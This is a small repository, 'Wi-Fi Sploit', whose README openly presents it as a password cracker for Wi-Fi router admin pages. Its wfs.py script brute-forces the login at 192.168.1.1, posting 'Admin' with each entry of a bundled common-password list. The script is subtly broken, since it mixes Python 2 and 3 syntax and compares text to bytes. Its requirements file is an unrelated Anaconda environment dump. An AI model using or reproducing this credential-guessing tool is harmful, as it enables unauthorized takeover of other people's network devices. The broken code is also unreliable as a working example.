├── README.md ├── password.txt ├── requirements.txt └── wfs.py /README.md: -------------------------------------------------------------------------------- 1 | # Wi-Fi Sploit 2 | 3 | Wi-Fi sploit is a password cracker for an admin page of a Wi-Fi Router. 4 | 5 | ## How to Run : 6 | 1. Clone this repository :
7 | `git clone https://github.com/kevinadhiguna/wifi-sploit.git` 8 | 2. Install dependencies :
9 | `pip install -r requirements.txt` or `pip3 install -r requirements.txt` 10 | 3. Run this program :
11 | `python wfs.py`
12 | Note: You can also run it with python3. In case of that, just replace `python` with `python3`. 13 | 4. You will see the appropriate password. Otherwise, the correct password may not be listed in the `password.txt`. In that case, you can add the most commonly used password in the `password.txt`. 14 | -------------------------------------------------------------------------------- /password.txt: -------------------------------------------------------------------------------- 1 | user 2 | admin 3 | password 4 | 12345 5 | 123 6 | 1 7 | 123456 8 | 654321 9 | iloveyou 10 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | alabaster==0.7.12 2 | anaconda-client==1.7.2 3 | anaconda-navigator==1.9.7 4 | anaconda-project==0.8.3 5 | appdirs==1.4.4 6 | asn1crypto==1.0.1 7 | astroid==2.3.1 8 | astropy==3.2.2 9 | atomicwrites==1.3.0 10 | attrs==19.2.0 11 | Babel==2.7.0 12 | backcall==0.1.0 13 | backports.functools-lru-cache==1.5 14 | backports.os==0.1.1 15 | backports.shutil-get-terminal-size==1.0.0 16 | backports.tempfile==1.0 17 | backports.weakref==1.0.post1 18 | beautifulsoup4==4.8.0 19 | bitarray==1.0.1 20 | bkcharts==0.2 21 | bleach==3.1.0 22 | bokeh==1.3.4 23 | boto==2.49.0 24 | Bottleneck==1.2.1 25 | certifi==2019.9.11 26 | cffi==1.12.3 27 | chardet==3.0.4 28 | Click==7.0 29 | cloudpickle==1.2.2 30 | clyent==1.2.2 31 | colorama==0.4.1 32 | conda==4.7.12 33 | conda-build==3.18.9 34 | conda-package-handling==1.6.0 35 | conda-verify==3.4.2 36 | contextlib2==0.6.0 37 | cryptography==2.7 38 | cycler==0.10.0 39 | Cython==0.29.13 40 | cytoolz==0.10.0 41 | dask==2.5.2 42 | decorator==4.4.0 43 | defusedxml==0.6.0 44 | distlib==0.3.1 45 | distributed==2.5.2 46 | docutils==0.15.2 47 | entrypoints==0.3 48 | et-xmlfile==1.0.1 49 | fastcache==1.1.0 50 | filelock==3.0.12 51 | Flask==1.1.1 52 | fsspec==0.5.2 53 | future==0.17.1 54 | gevent==1.4.0 55 | glob2==0.7 56 | gmpy2==2.0.8 57 | greenlet==0.4.15 58 | h5py==2.9.0 59 | HeapDict==1.0.1 60 | html5lib==1.0.1 61 | idna==2.8 62 | imageio==2.6.0 63 | imagesize==1.1.0 64 | importlib-metadata==0.23 65 | ipykernel==5.1.2 66 | ipython==7.8.0 67 | ipython-genutils==0.2.0 68 | ipywidgets==7.5.1 69 | isort==4.3.21 70 | itsdangerous==1.1.0 71 | jdcal==1.4.1 72 | jedi==0.15.1 73 | jeepney==0.4.1 74 | Jinja2==2.10.3 75 | joblib==0.13.2 76 | json5==0.8.5 77 | jsonschema==3.0.2 78 | jupyter==1.0.0 79 | jupyter-client==5.3.3 80 | jupyter-console==6.0.0 81 | jupyter-core==4.5.0 82 | jupyterlab==1.1.4 83 | jupyterlab-server==1.0.6 84 | keyring==18.0.0 85 | kiwisolver==1.1.0 86 | lazy-object-proxy==1.4.2 87 | libarchive-c==2.8 88 | lief==0.9.0 89 | llvmlite==0.29.0 90 | locket==0.2.0 91 | lxml==4.4.1 92 | MarkupSafe==1.1.1 93 | matplotlib==3.1.1 94 | mccabe==0.6.1 95 | mistune==0.8.4 96 | mkl-fft==1.0.14 97 | mkl-random==1.1.0 98 | mkl-service==2.3.0 99 | mock==3.0.5 100 | more-itertools==7.2.0 101 | MouseInfo==0.1.3 102 | mpmath==1.1.0 103 | msgpack==0.6.1 104 | multipledispatch==0.6.0 105 | navigator-updater==0.2.1 106 | nbconvert==5.6.0 107 | nbformat==4.4.0 108 | networkx==2.3 109 | nltk==3.4.5 110 | nose==1.3.7 111 | notebook==6.0.1 112 | numba==0.45.1 113 | numexpr==2.7.0 114 | numpy==1.17.2 115 | numpydoc==0.9.1 116 | olefile==0.46 117 | openpyxl==3.0.0 118 | packaging==19.2 119 | pandas==0.25.1 120 | pandocfilters==1.4.2 121 | parso==0.5.1 122 | partd==1.0.0 123 | path.py==12.0.1 124 | pathlib2==2.3.5 125 | patsy==0.5.1 126 | pep8==1.7.1 127 | pexpect==4.7.0 128 | pickleshare==0.7.5 129 | Pillow==6.2.0 130 | pipenv==2020.8.13 131 | pkginfo==1.5.0.1 132 | pluggy==0.13.0 133 | ply==3.11 134 | prometheus-client==0.7.1 135 | prompt-toolkit==2.0.10 136 | psutil==5.6.3 137 | ptyprocess==0.6.0 138 | py==1.8.0 139 | PyAutoGUI==0.9.50 140 | pycodestyle==2.5.0 141 | pycosat==0.6.3 142 | pycparser==2.19 143 | pycrypto==2.6.1 144 | pycurl==7.43.0.3 145 | pyflakes==2.1.1 146 | PyGetWindow==0.0.8 147 | Pygments==2.4.2 148 | pylint==2.4.2 149 | PyMsgBox==1.0.8 150 | pynput==1.6.8 151 | pyodbc==4.0.27 152 | pyOpenSSL==19.0.0 153 | pyparsing==2.4.2 154 | PyPDF2==1.26.0 155 | pyperclip==1.8.0 156 | PyRect==0.1.4 157 | pyrsistent==0.15.4 158 | PyScreeze==0.1.26 159 | PySocks==1.7.1 160 | pytest==5.2.1 161 | pytest-arraydiff==0.3 162 | pytest-astropy==0.5.0 163 | pytest-doctestplus==0.4.0 164 | pytest-openfiles==0.4.0 165 | pytest-remotedata==0.3.2 166 | python-dateutil==2.8.0 167 | python-xlib==0.27 168 | python3-xlib==0.15 169 | pytube==9.6.0 170 | PyTweening==1.0.3 171 | pytz==2019.3 172 | PyWavelets==1.0.3 173 | PyYAML==5.1.2 174 | pyzmq==18.1.0 175 | QtAwesome==0.6.0 176 | qtconsole==4.5.5 177 | QtPy==1.9.0 178 | requests==2.22.0 179 | rope==0.14.0 180 | ruamel-yaml==0.15.46 181 | scikit-image==0.15.0 182 | scikit-learn==0.21.3 183 | scipy==1.3.1 184 | seaborn==0.9.0 185 | SecretStorage==3.1.1 186 | Send2Trash==1.5.0 187 | simplegeneric==0.8.1 188 | singledispatch==3.4.0.3 189 | six==1.12.0 190 | snowballstemmer==2.0.0 191 | sortedcollections==1.1.2 192 | sortedcontainers==2.1.0 193 | soupsieve==1.9.3 194 | Sphinx==2.2.0 195 | sphinxcontrib-applehelp==1.0.1 196 | sphinxcontrib-devhelp==1.0.1 197 | sphinxcontrib-htmlhelp==1.0.2 198 | sphinxcontrib-jsmath==1.0.1 199 | sphinxcontrib-qthelp==1.0.2 200 | sphinxcontrib-serializinghtml==1.1.3 201 | sphinxcontrib-websupport==1.1.2 202 | spyder==3.3.6 203 | spyder-kernels==0.5.2 204 | SQLAlchemy==1.3.9 205 | statsmodels==0.10.1 206 | sympy==1.4 207 | tables==3.5.2 208 | tblib==1.4.0 209 | terminado==0.8.2 210 | testpath==0.4.2 211 | toolz==0.10.0 212 | tornado==6.0.3 213 | tqdm==4.36.1 214 | traitlets==4.3.3 215 | unicodecsv==0.14.1 216 | uri==2.0.1 217 | urllib3==1.24.2 218 | virtualenv==20.0.31 219 | virtualenv-clone==0.5.4 220 | wcwidth==0.1.7 221 | webencodings==0.5.1 222 | Werkzeug==0.16.0 223 | widgetsnbextension==3.5.1 224 | wrapt==1.11.2 225 | wurlitzer==1.0.3 226 | xlrd==1.2.0 227 | XlsxWriter==1.2.1 228 | xlwt==1.3.0 229 | zict==1.0.0 230 | zipp==0.6.0 231 | -------------------------------------------------------------------------------- /wfs.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import sys 3 | 4 | url = "http://192.168.1.1" 5 | 6 | expression = "incorrect" 7 | 8 | def brute(username, password): 9 | data = { 'username': username, 'password': password } 10 | r = requests.post(url, data=data) 11 | if expression not in r.content: 12 | print("Brute Forcing...") 13 | print ("[+] Password found : "),password 14 | sys.exit() 15 | else: 16 | print (r.content)," ",password 17 | 18 | def main(): 19 | words = [w.strip() for w in open("password.txt", "rb").readlines()] 20 | for payload in words: 21 | brute("Admin", payload) # if 'Admin' does not work, try 'user' instead. 22 | 23 | if __name__ == '__main__': 24 | main() 25 | --------------------------------------------------------------------------------